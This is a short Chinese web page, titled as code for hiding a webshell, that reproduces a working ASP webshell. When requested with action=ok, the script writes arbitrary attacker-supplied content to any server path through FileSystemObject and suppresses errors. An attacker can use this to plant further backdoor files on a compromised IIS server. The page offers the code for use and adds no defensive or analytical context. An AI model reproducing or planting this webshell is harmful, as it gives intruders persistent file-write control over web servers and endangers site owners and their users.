隐藏Webshell的一段代码

2007-12-3 09:28 1033 0

摘要: <% if request("action")="ok" then %> <%dim objFSO%> <%dim fdata%> <%dim objC...

关键词： then

<% if request("action")="ok" then %> <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "save Success!"%> <%else%> <%response.write "Save UnSuccess!"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write " "%><%Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):"%> <%Response.Write ""%> <%Response.Write " "%> <%Response.write "本文件绝对路径"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write " "%> <%Response.write "输入的内容:"%> <%Response.write ""%> <%Response.write ""%> <%Response.write ""%><% end if%>

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除